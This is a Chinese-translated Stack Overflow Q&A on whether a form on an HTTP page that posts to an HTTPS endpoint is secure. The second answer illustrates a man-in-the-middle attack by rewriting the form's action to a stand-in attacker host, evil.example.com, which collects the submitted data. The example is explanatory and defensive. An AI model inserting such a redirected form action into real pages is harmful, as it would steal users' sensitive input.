【问题标题】:Are forms submitted cross domain secure?跨域提交的表单是否安全?
【发布时间】:2015-08-08 15:35:37
【问题描述】:

我有一个网站,http://foo.com。我有另一个网站,https://bar.com。如果我从非安全 foo.com 向安全 bar.com 提交表单,交易是否加密?

例子:

http://foo.com/form.html

<form action="https://bar.com/process.php" method="post">
...inputs, validation, and form happiness...
</form>

我的用例是通过电子邮件发送给用户的表单,其中可能包含需要提交到我们网站(具有 SSL)的敏感信息。该表单将是一个附件,例如可以从他们的桌面打开并填写,然后提交到我们的服务器。有没有办法加密该通信?

我发现了两个可能相关的问题,它们给出了相互矛盾的答案:

  1. Secure Cross Domain Form Submission

    [是的,它是安全的,但是]本质上并不安全。主机上的 SSL 不相关,第三方服务器上的 SSL 是相关的。但是,您必须将帖子设置为“https://...”而不仅仅是“http://”,作为“安全服务器”是不够的,您必须安全地调用它。

  2. Securing Forms submitting to a diffrent domain

    一种简单的方法是使用 HTTPS,但只要两者都可以是 HTTPS。它们还必须都有 SSL 证书。

【问题讨论】:

    标签: html forms security


    【解决方案1】:

    由于表单将被发布到安全服务器https://bar.com/process.php,因此数据将与请求一起被加密。另一方面,即使表单已托管在安全的 https://bar.com/form.html 上但已发布到非安全的 http://foo.com/process.html 上,它也不安全

    这是 Mozilla 开发者网络上“发送表单数据”一文的节选

    注意:可以指定使用 HTTPS(安全 HTTP)的 URL 协议。执行此操作时,数据将与其余数据一起加密 请求,即使表单本身托管在不安全的页面上 使用 HTTP 访问。另一方面,如果表单托管在 安全页面,但您在操作中指定了不安全的 HTTP URL 属性,所有浏览器都向用户显示安全警告 他们尝试发送数据的时间,因为数据不会被加密。 参考:Sending form data: MDN Article

    【讨论】:

      【解决方案2】:

      是的,它是加密的。不,它不安全。

      原因是用户无法保证表单是安全的。中间人可以截获来自http://foo.com 的响应并将表单更改为:

      <form action="https://evil.example.com/process.php" method="post">
      ...inputs, validation, and form happiness...
      </form>
      

      在马跑掉之前,用户不会更明智地发送不安全的数据。 evil.example.com 可能会重定向回 https://bar.com 以减少被检测到的机会。

      底线:始终将敏感表单放在 HTTPS 页面上。这向用户保证他们提交的数据在传输过程中是安全的。

      【讨论】:

      • 这是否意味着如果我在 HTTPS 站点上有一个表单并且我的处理页面(也是 HTTPS)在一个完全不同的域上,那么数据是安全的吗?例如:example.com 有一个带有 action="processingpage.com" 的表单,从表单发送的数据是否存在风险?可以拦截吗?一定要加密吗?
      猜你喜欢
      • 1970-01-01
      • 2023-03-30
      • 1970-01-01
      • 2010-09-21
      • 2013-05-03
      • 2017-01-24
      • 1970-01-01
      • 2023-04-02
      相关资源
      最近更新 更多